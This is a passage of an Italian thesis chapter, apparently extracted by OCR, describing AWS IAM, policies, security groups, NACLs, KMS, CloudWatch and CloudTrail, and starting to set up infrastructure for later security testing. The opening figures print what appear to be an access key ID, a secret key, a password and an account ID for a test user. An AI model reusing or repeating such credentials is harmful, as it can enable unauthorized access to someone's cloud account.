- ProvaFullAc AKIA504QJPUB3N4BSYVI £ 294p6jRVWSTGuULIYQEJ491  dcSnu21-NuCNkvh Invia un'e-mail '
BofmxQIXsLpylYL+g9 Nascondi
Nascondi

Creazione dell'utente ProvaFullAccessS3 completata

Q

Policy collegata AmazonS3Fullccess all'utente ProvaFullAccessS3

(< <

Policy collegata IAMUserChangePasswerd allutente ProvaFullAccessS3

Q

Creazione della chiave di accesso per lutente ProvaFullAccessS3 completata

Q

Creazione del profilo di accesso per l'utente ProvaFullAccessS3 completata

Figura 4.4: Tabella Dati

Il contenuto del file .csv:

A B C D E

1 |User name Password Access key ID Secret access key Console login link
2 |ProvaFullAccessS3 dcSnu2l-NuCNkvh AKIASOAQIPUB3NABSYVI 294p6jRvWS7GuLfYgEIA9160fmxQIXsLpyiYl+g9 https://925331193091.5ignin.aws.amazon.com/console

Figura 4.5: File CSV dell’utente, il numero ”925331193091” equivale all’ID dell’account

4.1.2 Gruppi

Per la facilitazione della gestione degli utenti, viene offerto ’ausilio dei gruppi, i quali
possono contenere molti utenti a cui possono essere direttamente assegnati dei compiti.
I gruppi di utenti consentono di specificare le autorizzazioni per piu utenti e quindi la
gestione delle autorizzazioni per questi ultimi puo risultare facilitata. Ad esempio, un
gruppo di utenti puo avere I'accesso solo al controllo dei file di log, quindi lasciargli solo
le autorizzazioni necessarie per accedere a CloudWatch. Ciascun utente percio ereditera
i privilegi associati del gruppo; ciascun utente potra essere cambiato di gruppo.

Alcune caratteristiche [11]:
o Gestibile tramite TAM.

o possibile aggiungere piu utenti nello stesso gruppo.
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Ogni utente puo avere 0 o piu gruppi.

e Puo contenere solo utenti e non quindi altri gruppi.

e Un utente inserito in un gruppo eredita tutti i ruoli e privilegi.

e Il numero e le dimensioni delle risorse IAM in un account AWS sono limitati,
percio bisogna controllare le quote. Ad esempio, il numero massimo di utenti per
un account AWS e 5000.

e Non esiste un gruppo di utenti predefinito che include automaticamente tutti gli
utenti nell’account AWS.

Account C=
Group: Group: Group:
Admins Developers Test

Bob G:_—.) Brad Q,.: Cathy O.:
Susan | o= Jim | = Allen |
Mark |{= |Testappl | {—=
Kevin | = TestApp2 | =
DevAppl | =
DevApp2 | {—

Figura 4.6: Esempio divisione in gruppi IAM di un’ ipotetica azienda [11]

La creazione di un gruppo e una procedura molto semplice:

1. Andare console IAM e selezionare crea gruppo.

2. Scegliere un nome e selezionare gli utenti da associare al gruppo; sara anche
possibile gestire gli utenti del gruppo in seguito.
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Assegna un nome al gruppo

Nome del gruppo di utenti

GruppoFullAccessS3AndGlacie]

Aggiungi utenti al gruppo - Facoltativo (S 1ati 3/4) informazioni o
Un i VS a o l'applicazione che la utilizza per inte
Q ce : ®
Nome utente (& hd Gruppi Ultima attivita A Data di creazione v
pluto 0 2 mesi fa 2 mesi fa
ProvaFullAccessS3 4] Nessuno 1orafa
§$88585 0 Nessuno 1orafa
topolino 0 Nessuno 2 mesifa
Figura 4.7: Associare Utenti a Gruppo
3. Assegnare i permessi nell'immagine in esempio: associando GlacierFullAccess !
stessa cosa verra fatta per S3FullAccess.
Collega policy di autorizzazione - Facoltativo (Sele o
Informazioni
el N questo gy,
Q. Fiitra fe policy per proprieta o e e pre o 2 corrispondenze 1 &
"Glacier' X Annulla filtri
-] Nome della policy &' - Tipo v Descrizione
AmazonGlacierReadOnlyAccess Gestite da AWS Provides read only acc
AmazonGlacierFullAccess Gestite da AWS Provides full access to

3

Annulla Crea gruppo

Figura 4.8: Permessi Associati al gruppo

4. Creare il gruppo e successivamente gestirlo e associarlo ad altri utenti.

4.1.3 Ruoli

Un ruolo TAM presenta alcune analogie con un utente IAM. Ruoli e utenti sono entrambi
identita AWS con policy di autorizzazioni che determinano cio che I'identita puo o non
puo fare in AWS. Tuttavia, invece di essere associato in modo univoco a una persona,
un ruolo ¢ destinato a essere assunto da chiunque. Inoltre, un ruolo non ha credenziali
a lungo termine standard associate (queste vengono create dinamicamente e fornite
all’'utente o all’applicazione e sono password o chiavi di accesso). Tuttavia, quando si

L Glacier & un servizio di storage basato a tre livelli, ha tempi di accesso alla risorsa maggiori rispetto
ad S3 ma costi molto ridotti)
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assume un ruolo, vengono fornite le credenziali di sicurezza provvisorie per la sessione
del ruolo. [12].
I ruoli possono essere usati da:

Un utente IAM nello stesso account AWS del ruolo.

Un utente TAM in un account AWS diverso dal ruolo.

e Un servizio Web offerto da AWS come Amazon Elastic Compute Cloud (Amazon
EC2).

Un utente esterno autenticato da un fornitore di servizi di identita (IdP) compati-
bile con SAML 2.0 o OpenID Connect o un gestore identita creato appositamente
(utente federato).

I ruoli permettono di definire un insieme di permessi in relazione ad una specifica
risorsa (ad esempio un’istanza EC2), della quale necessitano un servizio oppure un
utente necessitano.

Possiamo quindi affermare che un certo servizio o applicazione, durante la propria
esecuzione, puo assumere un certo ruolo in base ai permessi a lui necessari per svolgere
la propria attivita.

Differenti tipi di policy usate dai ruoli:

e Trust Policy: documento json in cui si specifica quale entitd pud assumere quel
determinato ruolo.

e Access Policy: documento json in cui si definiscono le operazioni e le risorse che
il ruolo puo utilizzare.

E possibile utilizzare un ruolo per delegare ’accesso a risorse che risiedono in un
differente account AWS. Questa possibilita prende il nome di Cross-Account Access e
permette di non creare un differente utente IAM per ogni account AWS, oltre ad offrire
il vantaggio di non doversi disconnettere da un account e accedere con un altro.

Per creare un nuovo ruolo bisogna:

1. Comnsole TAM selezionare ” Crea Ruolo”

2. Scegliere la tipologia di entita che avra questo ruolo. Le quattro tipologie so-
no: servizio AWS (ricordiamo che un utente IAM puo essere un’applicazione
), un altro account AWS personale o di terze parti (bisognera specificare I'ID
dell’account), identita web (accesso per mezzo di Facebook, Google, Amazon,
Amazon Cognito o altre tipologie create dall’amministratore), Federazione SAML
2.0 (utenti federati: in tal caso dovra gia essere registrato il provider all’interno
dell’account AWS).
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Crea ruolo o ) 3) (a4

Seleziona il tipo di entita attendibile

= Servizio AWS @ Unaltroaccount AWS @ dentia Web Federazione SAML 2.0
.. EC2, Lambda e altre I — A;ﬁlm'””'“ e odierse ?30_’1' 0 0 gualsiasi provide La directory aziendale
p OpenlD

Consente ai servizi AWS di eseguire operazioni per fuo conto. Ulteriori informazioni

Scegli un caso d’'uso

Casi d’'uso comuni

EC2

Allows EC2 instances to call AWS services on your behalf.

Lambda

Allows Lambda functions to call AWS services on your behalf.

In alternativa, seleziona un servizio per visualizzarne i casi d'uso

API Gateway CloudWatch Events EMR 10T SiteWise RDS

Figura 4.9: Creazione Ruolo

3. Sara possibile creare una policy o associarne una gia esistente; nel caso se ne voles-
se creare una nuova sara possibile sia con editor visuale che scrivendo direttamente
il file JSON.

~ Attach policy di autorizzazione

Scegli una o pid policy da collegare al nuovo ruclo.

Crea policy 5
Filtra policy ~ | Q Cerca Visualizzazione di 851 risultati
Nome policy - Utilizzata come

» T AccessAnalyzerServiceRolePolicy Nessuna =

» WP AdministratorAccess Permissions policy (2)

T AdministratorAccess-Amplify Nessuna

» il AdministratorAccess-AWSElasticBeanstalk Nessuna

» T AlexaForBusinessDeviceSetup Nessuna

» Il AlexaForBusinessFullAccess Nessuna

T AlexaForBusinessGatewayExecution Nessuna

» N AlexaForBusinessLifesizeDelegatedAccessPolicy Nessuna

~ Imposta limite di autorizzazioni

Imposta il limite di auterizzazioni per controllare il numero massimo di autorizzazioni che pud avere role. Questa & una funzione avanzata utilizzata per
delegare la gestione dell'autorizzazione ad altri. Ulteriori informazioni

@ Crea role senza un limite di autorizzazioni
Utilizza il limite delle autorizzazioni per controllare il numero massimo di autorizzazioni role

Figura 4.10: Ruolo Policy
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4. Possibilita di inserire dei tag.

5. Verificare i campi e terminare la creazione del ruolo.

Verifica

Fornisci di sequito le informazioni richieste e verifica questo ruolo prima di crearlo.

Nome ruclo® | AmministratoreConAccessiMaggiori

Utilizza caratteri alfanumerici e i seguenti simboli: "+=,.@-_' Massimo 64 caratteri.

Descrizione ruolo Accesso completo alle risorse

Massimo 1000 caratteri. Utilizza caratteri alfanumerici e i seguenti simboli: '+=,.@-_'

Entita attendibili L'account 925331193091

Policy AdministratorAccess-Amplify !

Limite di autorizzazioni |l limite di autorizzazioni non & impostato

Messun tag & stato aggiunio

Figura 4.11: Creazione Ruolo

6. Selezionando il ruolo sara possibile modificarne i dettagl,i come per esempio la

durata massima della sessione, di default impostata ad 1 ora.

4.2 Policy

Una policy & un oggetto in AWS che, associato a un’identita o a una risorsa, ne defini-
sce le autorizzazioni. AWS valuta queste policy quando un utente o un ruolo effettua
una richiesta. Le autorizzazioni nella policy determinano I'approvazione o il rifiuto della
richiesta. La maggior parte delle policy viene archiviata in AWS come documenti JSON.
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AWS supporta sei tipi di policy [13] :

e Identity-based policies: documenti dei criteri delle autorizzazioni JSON che

controllano le azioni che un’identita puo eseguire, su quali risorse e in che condi-
zioni. Queste policy possono essere suddivise in Policy gestite o criteri in linea.
Policy gestite: sono policy autonome basate sulle identita. Possono essere gestite
e create da AWS o gestite e create nell’account AWS.

Criteri in linea: vengono aggiunti direttamente su un singolo utente, gruppo o
ruolo. Sono in relazione 1 a 1 e si eliminano in caso di rimozione dell’identita.

Resource-based policies: sono documenti policy JSON che collegano le policy
inline alle risorse. Le policy basate su risorse concedono le autorizzazioni a
un’identita principale specificata nella policy. Le entita principali possono essere
sia nello stesso account della risorsa che in altri account.

IAM permissions boundaries: Utilizzano una policy gestita come limite delle
autorizzazioni per un’entitd IAM (utente o ruolo). Questa policy definisce il
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numero massimo di autorizzazioni che la policy basata su identita puo concedere
a un’entita, ma non concede autorizzazioni. Funzione avanzata dove si imposta il
numero massimo di autorizzazioni che una policy basata su identita puo concedere
a un’entita TAM.

e Service Control Policies, SCP: E possibile utilizzare una policy di controllo dei
servizi (SCP) AWS Organizations per definire il numero massimo di autorizzazioni
per i membri dell’account di un’organizzazione o un’unita organizzativa.

e Access control lists (ACLs): basate su risorse della policy d’accesso predefini-
ta possono essere utilizzati per I'accesso ai bucket e gli oggetti. Le ACL possono
essere utilizzate per concedere autorizzazioni base di lettura/scrittura ad altri ac-
count AWS. Non & possibile concedere autorizzazioni a utenti del proprio account
AWS.

e Session policies: sono policy avanzate che si passano come parametro quando
si crea in modo programmatico una sessione temporanea per un ruolo o un utente
federato. Le autorizzazioni per una sessione sono l'intersezione delle policy basate
su identita per l'entita IAM (utente o ruolo) utilizzate per creare la sessione e
delle policy di sessione. Le autorizzazioni possono anche provenire da una policy
basata su risorse. Un rifiuto esplicito in una qualsiasi di queste policy sostituisce
l’autorizzazione.

4.3 Security Group

Un security group si puo immaginare come un firewall virtuale che puo essere associato
a una o piu istanze all’interno di un VPC o ad un VPC stesso.

Prima di analizzare le caratteristiche di un security group bisogna specificare cos’e¢ una
regola.

Ogni security group, alla creazione, non avra alcun permesso né in entrata né in uscita;
per mezzo delle regole, opportunamente definite ed inserite, dall’utente verranno con-
cessi dei permessi. La tabella che verra riportata sara un esempio di regole inserite in
un security group.

Regole caratteristiche [11]:

e Le regole sono sempre permissive; non sara possibile inserire regole che negano
autorizzazioni.

e Le regole dei security group consentono di filtrare il traffico in base a i numeri di
porta.

e Le regolo possono essere in entrata (inbound) o in uscita (outbound).

e [ gruppi di sicurezza sono stateful — se viene inviata una richiesta da un’istanza,
il traffico in risposta alla richiesta € autorizzato a entrare, indipendentemente
dalle regole dei gruppi di sicurezza in entrata. Per i gruppi di sicurezza VPC
cio significa anche che le risposte al traffico in entrata sono autorizzate a uscire,
indipendentemente dalle regole in uscita.

e Si possono aggiungere e rimuovere regole in qualunque momento. Le modifiche
vengono applicate automaticamente alle istanze associate al gruppo di sicurezza.
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e Quando viene associata un’istanza a piu gruppi di sicurezza, le regole di ciascun
gruppo vengono aggregate come unico set di regole.

Le regole sono composte da:

e Nome: il nome del gruppo di sicurezza.
e Tipo: tipologia di protocollo.

e Protocollo: il protocollo da autorizzare, nel caso si dovesse scegliere custom
protocol.

e Intervallo di porte: porte sulle quali si applica questa regola. Puo essere associata
una singola porta oppure un range di porte come ad esempio 7000-8000 oppure
22.

e Origine/ Destinazione: 'origine nel caso la regola sia in entrata, la destinazione
se la regola ¢ in uscita. Puo specificare un singolo IPv4 o IPv6, un range di IPv4
o un range di IPv6, altri gruppi di sicurezza o specifiche VPC.

e Descrizione: si puo aggiungere una descrizione della regola, per semplificarne
Iidentificazione in un secondo momento.

Quando si crea una regola del gruppo di sicurezza, AWS assegna un ID univoco alla
regola.

Modifica le regole in entrata womason

Le regole in entrata controllano il traffico in entrata che pud raggiungere listanza.

Regole in entrata informazioni

Security group rule ID Tipo Informazioni Protocollo Intervallo porte Origine  Informazioni Descrizione - facoltativa  Informazioni
Informazioni Informazioni

sgr-0dac125d8d2895a15 SsH v a 2 Personalizza v Q
5gr-097814989faceb325 HTTP v C| 0 Personalizza v Q
- SMTP v c 25 itmiolP ¥ Regola nuova

Aggiungi regola

Figura 4.12: Esempio Creazione regola inbound

Un security group ha diverse caratteristiche:

e [ security group sono divisi in traffico in entrata e traffico in uscita; percio e
possibile creare regole specifiche per tutte e due.

e [ security group sono stateful: se viene inviata una richiesta da un’istanza, il
traffico in risposta alla richiesta & autorizzato a entrare, indipendentemente dal-
le regole dei gruppi di sicurezza in entrata. Le risposte al traffico in entrata
autorizzato possono uscire indipendentemente dalle regole in uscita.

e Al momento della sua creazione, un gruppo di sicurezza & privo di regole in entra-
ta. Finché non verranno inserite regole in entrata 1’host risultera irraggiungibile.
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e Per impostazione predefinita, un gruppo di sicurezza include una regola in uscita
che autorizza tutto il traffico in uscita. Si puo rimuovere la regola e aggiungere
regole in uscita che autorizzano 1'uscita solo di un determinato tipo di traffico.
Nel caso non ci fossero regole in uscita non potrebbe essere inviato nessun tipo
di traffico dall’istanza.

E’ applicato all’istanza (nello specifico alla sua network interface) e non alla sot-
torete. All'interno della stessa sottorete si possono avere piu security group per
piu istanze.

Lo stesso security group puo essere inoltre applicato a piu istanze.

La modifica di un security group puo avvenire a istanza started o stopped.

I cambiamenti attuati all’interno di un security group hanno un’azione immediata,
sono applicati subito, senza alcun tempo di attesa.

e Se ci sono pit RULE per una specifica porta, viene applicata la regola piu
permissiva.

Un gruppo di sicurezza puo essere utilizzato solo nel VPC specificato quando si
crea il gruppo di sicurezza.

Gli elementi costituivi di un security group sono:
e Nome del gruppo: non sara piu modificabile.
e Descrizione.

VPC (Virtual Private Cloud) al quale associare il gruppo (non modificabile).

Indirizzo IP: ip o range di ip con determinata policy.
e Numero di porta: porta X che accetta protocollo Y.
e Protocollo: protocollo Y accettato su porta X.

All’avvio di un’istanza EC2, verra richiesto a quale VPC deve appartenere ed infine
quale security group associargli. Sara possibile creare un nuovo security group oppure
associarne uno esistente; il nuovo security group istanziato andra a far parte dei security
group di quella specifica VPC.

Fase 6: Configura il gruppo di sicurezza

Il gruppo di sicurezza & un insieme di regole del firewall che controllano il traffico della tua istanza. In questa pagina, puoi aggiungere le regole per
consentire a un traffico specifico di raggiungere la tua istanza. Ad esempio, se vuoi impostare un server Web e consentire al traffico Internet di
raggiungere la tua istanza, devi aggiungere regole che consentano un accesso senza restrizioni alle porte HTTP e HTTPS. Puoi creare un nuovo
gruppo di sicurezza o sceglierne uno esistente tra quelli elencati di seguito. Ulteriori informazioni sui gruppi di sicurezza Amazon EC2.

Assegna un gruppo di sicurezza: O Crea un nuovo gruppo di sicurezza

® Seleziona un gruppo di sicurezza esistente

ID gruppi di sicurezza Nome Descrizione Operazioni
sg-ef7960bf default default VPC security group Copia su nuovo
50-0ef5c47b14653d413 launch-wizard-1  launch-wizard-1 created 2021-06-17T16:45:54.898+02:00 Copia su nuovo
s0-076176M&12af3711 launch-wizard-2  launch-wizard-2 created 2021-07-09T12:05:24_360+02:00 Copia su nuovo

Figura 4.13: Istanza Creazione Security Group
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Come si puo vedere, ¢’@ un default security group, i VPC sono sempre creati asso-
ciati ad un default security group che non ¢ possibile eliminare; tuttavia, ¢ concesso
modificare le regole al suo interno.

E anche possibile creare un security group direttamente dalla dashboard dei VPC.

4.4 NACL - Networks Access Control List

Una NACL & un livello di sicurezza opzionale per il VPC che agisce come un firewall
per controllare il traffico in entrata e in uscita da una o piu sottoreti [15]. Si possono
impostare liste di controllo accessi di rete con regole simili a quelle del gruppo di sicu-
rezza, in modo tale da aggiungere un ulteriore livello di sicurezza al VPC.

Le NACL agiscono da firewall; & possibile inoltre scegliere se applicarle o meno. Le
principali caratteristiche che possiamo identificare sono:

e La tipologia di filtraggio & questa volta stateless ovvero non possono mantenere
lo stato di una connessione ed & quindi necessario specificare una regola per il
traffico in entrata e il traffico in uscita relativamente alla stessa connessione.

e Le rule sono definite in base ad un’azione di tipo allow/deny su una determinata
sottorete

o b presente una NACL di default che permette ogni tipo di traffico, sia in uscita
che in entrata.

e Una NACL appena creata non permette alcun tipo di traffico; sara compito
dell’'utente aggiungere le apposite regole.

e Ogni sottorete presente all’interno di un VPC puo essere associata ad una perso-
nale NACL , se non esplicitamente associata viene utilizzata quella di default.

e Una sottorete puo essere associata ad una singola NACL.

e Le rule di una NACL sono numerate e vengono valutate a partire da quella di
valore numerico piu basso.

Le parti che compongono una regola di una NACL sono:

e Numero regola: numero identificativo che rappresenta 1’ordine di priorita. Non
appena una regola corrisponde al traffico, viene applicata a prescindere da qual-
siasi altra regola con numerazione piu alta che potrebbe contraddirla.

e Tipo: il tipo di traffico; ad esempio, SSH.

e Protocollo: si puo specificare qualsiasi protocollo che dispone di un numero di
protocollo standard.

e Intervallo porte: porta in ascolto o range di porte.
e Source (per regole in entrata) : per dove ricevere il traffico.
e Destination (per regole in uscita) : per dove mandare il traffico.

e Allow/Deny: scelta tra le opzioni allow o deny per il traffico specificato.

40



NACL - Networks Access Control List

Internet gateway Virtual private gateway
L

Route table grrsmam

|

EEEEE Route table

|

2001:db8:1234:1a00::/36 (IPvE)

Network ACL Network ACL
{subnet 1) leubnet 21
" M ™ s l "y

; Security Security
Instance: Instance Instance Instance

Subnet 1 Subnet 2

10.0.0.0/24 (IPv1) 10.0.1.0/24 (IP+d)
2001:db8:1234:1a01:: /64 (IPv6) 2001:db8:1234:1a02:: /64 (IPv6)
.
VPC
10.0.0.0/16 (IPv4)

Figura 4.14: Esempio NACL [17]

Nella seguente tabella saranno riportate le differenze tra le NACL e i Security Group:

Security Group

NACL

Opera a livello di istanza

Opera a livello di sottorete

Supporta solo regole allow

Supporta sia regole allow che deny

Stateful : traffico di ritorno & automa-
ticamente consentito, indipendentemente
dalle regole

Stateless : il traffico di ritorno deve essere
permesso in modo esplicito dalle regole

Vengono valutate tutte le regole prima di
decidere se consentire il traffico

Le regole vengono elaborate in ordine

Si applica a un’istanza solo se qualcu-
no specifica il security group all’avvio
dell’istanza o lo associa in seguito

Si applica automaticamente a tutte le
istanze nelle sottoreti a cui € associata
(ulteriore livello di sicurezza nel caso le
regole fossero poco severe)

Tabella 4.1: Differenze tra Security Group e NACL
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4.5 KMS

AWS Key Managment Service (KMS) & un servizio che permette di creare e gestire
chiavi crittografiche e controllare il loro uso su un ampio range di servizi AWS. KMS
& un servizio sicuro e resiliente che usa moduli hardware sicuri, validati sotto FIPS
140-2 (Federal Information Processing Standard Publication) per proteggere le chiavi.
E possibile integrarlo con il servizio CloudTrail per creare file di log che contengano
tutti gli usi del servizio. Si integra con molti servizi, come ad esempio S3. KMS offre
anche la possibilita di salvare delle chiavi personalizzate dall’utente [16].

Alcune operazioni che si possono eseguire sono:

Creazione, abilitazione e disabilitazione delle master keys

Creazione delle policy di accesso per le master keys

Utilizzo di un sistema di tag per una gestione piu efficiente.
e Cifratura e decifratura i dati.

e Generazione di valori random da utilizzare per eventuali applicazioni basate su
crittografia.

AWS KMS non ¢ in grado di utilizzare una chiave per crittografare i dati. Ma &
possibile usare chiavi al di fuori di KMS, ad esempio usando AWS Encrypt SDK. Dopo
aver utilizzato la chiave in testo normale per crittografare i dati, bisognera eliminarla
dalla memoria il prima possibile. Processo di Encrypt:

Plaintext data key

\

Plaintext # 03 # Ciphertext

data

Encryption
algorithm ﬂ

Figura 4.15: KMS Cifratura [10]

AWS KMS usa la CMK per decrittografare la chiave di dati. Utilizza la chiave di
dati in testo normale per decrittografare i dati; successivamente rimuovere la chiave in
chiaro dalla memoria. Sotto un semplice diagramma per comprendere la funzione di
decrypt:
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Customer master key

Do — 05 — Qoo

Encrypted data key Decryption Plaintext data key
algorithm

Figura 4.16: KMS Decrypt [10]

4.6 CloudWatch

Il servizio Amazon CloudWatch ha il compito di fornire strumenti di monitoraggio
per gli eventi nell’infrastruttura del cloud AWS. [17] Mediante CloudWatch ¢ possi-
bile ottenere visibilita a livello di sistema nell’utilizzo delle risorse, nelle prestazioni
dell’applicazione e nello stato operativo. Ad esempio, con CloudWatch sara possibile
monitorare 1’utilizzo della CPU su una macchina EC2.

I servizi piu utilizzati con CloudWatch sono:

e Amazon Simple Notification Service (Amazon SNS) coordina e gestisce la di-
stribuzione o I'invio di messaggi a endpoint o client di sottoscrizione. Creando
specifiche regole, sara possibile inviare messaggi direttamente all’amministratore
rispetto a situazioni anomale, ad esempio utilizzo CPU 100% oppure istanza EC2
non raggiungibile.

e Amazon EC2 Auto Scaling permette di avviare o terminare automaticamente
istanze Amazon EC2 in base a policies definite dall’utente, controlli dello stato
di integrita e piani. Si puo utilizzare un allarme CloudWatch con Amazon EC2
Auto Scaling per dimensionare le istanze EC2 in base alle esigenze.

e AWS CloudTrail permette di monitorare le chiamate effettuate al’ API Amazon
CloudWatch per 'account, tra cui le chiamate effettuate dalla AWS Management
Console, AWS CLI e altri servizi. Quando la registrazione CloudTrail & attivata,
CloudWatch scrive file di log sul bucket Amazon S3 che sono stati specificati
durante la configurazione di CloudTrail.

o AWS IAM per la gestione del servizio serviranno account con i permessi di accesso.

Amazon CloudWatch ¢ in pratica un archivio di parametri. Un record AWS, ad esempio
Amazon EC2, salva i parametri nell’archivio. Sulla base di questi parametri si potranno
recuperare le statistiche e sara anche possibile recuperarle in base a parametri specifici.
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Figura 4.17: CloudWatch [18]

I servizi che usano CloudWatch invieranno dati statistici regolarmente; questi dati

potranno essere associati ad allarmi o essere stampati dalla console di AWS con grafici
e dettagli del servizio.

Per avere una maggiore comprensione del servizio di CloudWatch bisogna specificare
determinati concetti [19]:
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e Metriche: sono un concetto fondamentale di CloudWatch. Una metrica rappre-

senta un insieme di dati in ordine temporale pubblicati su CloudWatch. Si puo
pensare che la metrica € come una variabile che viene monitorata e i dati saranno
i valori che essa assume nel corso del tempo. Ad esempio, I'uso della CPU per
una specifica istanza EC2 ¢ una metrica fornita da Amazon EC2. Di default
molti servizi Amazon forniscono metriche gratuite per le risorse, ad esempio EC2
o EBS (Elastic Block Store).

Le metriche esistono solo nella regione in cui vengono create, non possono essere
eliminate, ma automaticamente scadono dopo 15 mesi se nessun nuovo dato viene
pubblicato.

CloudWatch conserva i dati delle metriche:

— Valori che vengono acquisiti con una frequenza minore di 60 secondi saranno
disponibili per 3 ore.

Valori che vengono acquisiti con una frequenza di 1 minuto saranno dispo-
nibili per 15 giorni.

Valori che vengono acquisiti con una frequenza di 5 minuti saranno disponi-
bili per 63 giorni.

Valori che vengono acqisiti ogni ora saranno disponibili per 15 mesi.

I valori che inizialmente sono acquisiti con una frequenza breve vengono aggregati
insieme per avere una permanenza migliore. Ad esempio, un dato preso con una
frequenza di ogni minuto dopo 15 giorni sara ancora disponibile ma unito con gli
altri dati con una frequenza di 5 minuti.
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e Allarmi: un allarme osserva una singola metrica per uno specifico periodo e spe-
cifica una o piu azioni basate sul valore della metrica relativa. L’azione puo essere
una notifica inviata da Amazon SNS o una policy di Auto Scaling. Un allarme
esegue azioni per sostenere un cambiamento di stato. Le azioni vengono eseguite
solo quando avviene un cambiamento; nel caso ci si trovi gia in uno specifico
scenario, ’azione non verra richiamata perché non & avvenuto un cambiamento
di stato. Gli allarmi eseguiranno azioni per conto dell’'utente ma quando 'utente
creera ’allarme dovra specificare un periodo maggiore a quello della metrica.

e Statistiche: sono una metrica dei dati aggregati sotto uno specifico periodo.
CloudWatch fornisce statistiche basate sui punti dati della metrica forniti dai
dati personalizzati o forniti da altri servizi AWS.

e Unita: ogni statistica avra un’unita di misura che possono essere per esempio
bytes, secondi , e percentuale. Nel caso non venisse specificata alcuna unita di
misura nella metrica verra usata 'unita None.

4.7 CloudTrail

AWS CloudTrail ¢ un servizio che permette di avere un controllo completo relativo
a tutte le attivita svolte nell’infrastruttura AWS. Le azioni prese da utenti, ruoli o
altri servizi Amazon sono salvati come eventi in CloudTrail. Ogni azione eseguita
da ogni metodo di autenticazione dell’'utente (Console,CLI,SDK,API) verra registrata
come evento in CloudTrail.

CloudTrail ¢ abilitato su ciascun account AWS dalla creazione; & possibile visualizzare
facilmente gli eventi recenti nella console CloudTrail andando su Cronologia eventi.

E possibile utilizzare CloudTrail per visualizzare, cercare, scaricare, salvare e analizzare
tutte le attivita dell’account nell’infrastruttura AWS; inoltre & anche possibile abilitare
CloudTrail Insights su una trail come per aiutare ad identificare e rispondere ad attivita
insolite.

Per visualizzare gli eventi in CloudTrail bastera andare su cronologia eventi.

Event history (843) info ‘ (@]} || Download events v H Create Athena table

Event history shows you the last 90 days of management events.

Read-only * | Q false X 30m 1h 3h 12h Custom < 1 .. 11 12 13 14 15 16 17

Event name Event time User name Event source Resource type

Stoplnstances June 19, 2021, 15:13:51 (UTC+O... root ec2.amazonaws.com AWS:EC2:Instance

ec2-instance-
SendSSHPublicKey June 19, 2021, 15:12:15 (UTC+O.... root AWS:EC2:Instance
connect.amazonaws.com

ConsoleLogin June 19, 2021, 15:10:56 (UTC+O... root -
ConsoleLogin June 19, 2021, 15:10:37 (UTC+O... root -
CreateRole June 18, 2021, 15:29:15 (UTC+O... root \amamaz_gnawscom AWS:IAM:Role, AWS:L...
AttachRolePolicy June 18, 2021, 15:29:15 (UTC+O... root ]ﬁ[ﬂ;?‘_’_’!’!‘?_?}?ﬂﬁf‘}ﬁf‘?_'ﬂ AWS::IAM::Policy, AWS:...
ConsoleLogin June 18, 2021, 12:01:20 (UTC+Q... root signin.amazonaws.com -

Figura 4.18: Cronologia Eventi
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Gli eventi restano registrati in CloudTrail per 90 giorni; verranno registrati a partire
dal primo accesso alla console di AWS.
Prima di specificare i tipi di eventi bisogna fare un accenno sul concetto di trail. Un
trail € una configurazione che consente la distribuzione di eventi CloudTrail in un bucket
Amazon S3, CloudWatch Logs e negli eventi CloudWatch. Si puo usare un trail per
filtrare gli eventi CloudTrail che si desidera distribuire, crittografare i file di log degli
eventi CloudTrail mediante un AWS KMS e configurare notifiche Amazon SNS per la
distribuzione dei file di log.
Un evento rappresenta un’attivita fatta sull’account AWS. Le tipologie di eventi sono:

e Eventi di gestione forniscono informazioni sulle operazioni di gestione che vengono
fatte nll’account. Ad esempio: configurazione di sicurezza, creazione di istanze,
configurazioni di regole per il routing, login.

e Eventi di Dati forniscono informazioni sulle operazioni eseguite su o all’interno
di una risorsa. Gli eventi di dati non vengono registrati di default; bisognera
aggiungere a un trail le risorse supportate per le quali si desidera registrare le
attivita.

e Eventi Insights registrano le attivita insolite eseguite sull’account. Sono disabi-
litati per impostazione di default quando viene creata una trail; per registrare
questi eventi si dovra abilitare esplicitamente la raccolta eventi Insights nel trail
da creare o in uno gia esistente.

I log generati da una trail verranno salvati in un bucket S3 selezionato o creato alla
creazione del trail. Alla creazione di una trail verranno anche scelte le tipologie di
eventi da registrare come mostrato nell'immagine sottostante:

Choose log events

Events info

Record AP activity for individual resources, or for all current and future resources in AWS account. Additional charges apply E

Event type

Choose the type of events that you want to log.

Management events Data events Insights events

Capture management operations performed Log the resource operations performed on or Identify unusual activity, errors, or user
on your AWS resources. within a resource. behavior in your account.

Figura 4.19: Selezione Tipologie Eventi CloudTrail
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5. Creazione Infrastruttura AWS

In questo capitolo verra creata una configurazione AWS per aver modo successivamente
di eseguire gli exploitation framework. E stato sviluppato un possibile scenario di
hosting di un’applicazione web.

5.1 Registrazione Account AWS e primi passi [20)]

Prima di accedere alla console AWS occorrera registrare un account al quale dovra
essere fornita una carta di credito che sosterra i costi della infrastruttura. Subito dopo
aver eseguito un primo accesso verremo reindirizzati alla console dove come primi passi
bisognera:

1. Scegliere la regione nella quale vogliamo hostare ’applicazione. A livello aziendale
deve essere una scelta ponderata perché ne potrebbero dipendere sia i costi che i
tempi di risposta.

In questo caso ¢ stata scelta la regione Irlanda (eu-west-1).

2. Aggiungere un account che avra permessi di amministratore cosi da ridurre dra-
sticamente gli accessi effettuati dall’account root.

1 2 3 o 5

Verifica

Verifica le tue scelte. Dopo aver creato 'utente, & possibile visualizzare e scaricare la chiave di accesso e la password generate automaticamente.

Dettagli utente
Nome utente AmministratoreAccount
Tipo di accesso AWS  Accesso programmatico e accesso a console di gestione AWS

Tipo di password per la Personalizzato
console

Richiesta reimpostazione No
della password

Limite di autorizzazioni Il limite di autorizzazioni non & impestato

Riepilogo delle autorizzazioni

Le seguenti policy saranno collegate all'utente indicato sopra

Tipo Nome
Policy gestita AdministratorAccess-Amplify
Tag

Nessun fag é stato aggiunto

Figura 5.1: Aggiunta account Amministratore
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Aggiungere anche la policy AdministratorAccess per poter gestire la VPC .Ov-
viamente ¢ consigliato abilitare 'MFA per tutti e due gli utenti.

3. Fare logout dall’account root ed accedere all’account Amministratore appena
creato.

Sign in

O Root user
Account owner that performs tasks requiring
unrestricted access. Learn more

@ |AM user
User within an account that performs daily tasks.
Learn more

Account ID (12 digits) or account alias
925331193091

Remember this account

Figura 5.2: Scegliere di loggare come utente [AM

Per fare il login bastera inserire il proprio ID account, il nome dell’utente e la
password creata per 1'utente.

5.2 Creazione VPC

I virtual private cloud (VPC) permettono di creare e gestire la rete all’interno della
nostra infrastruttura nel cloud. In altri termini ci offrono la possibilita di isolare logi-
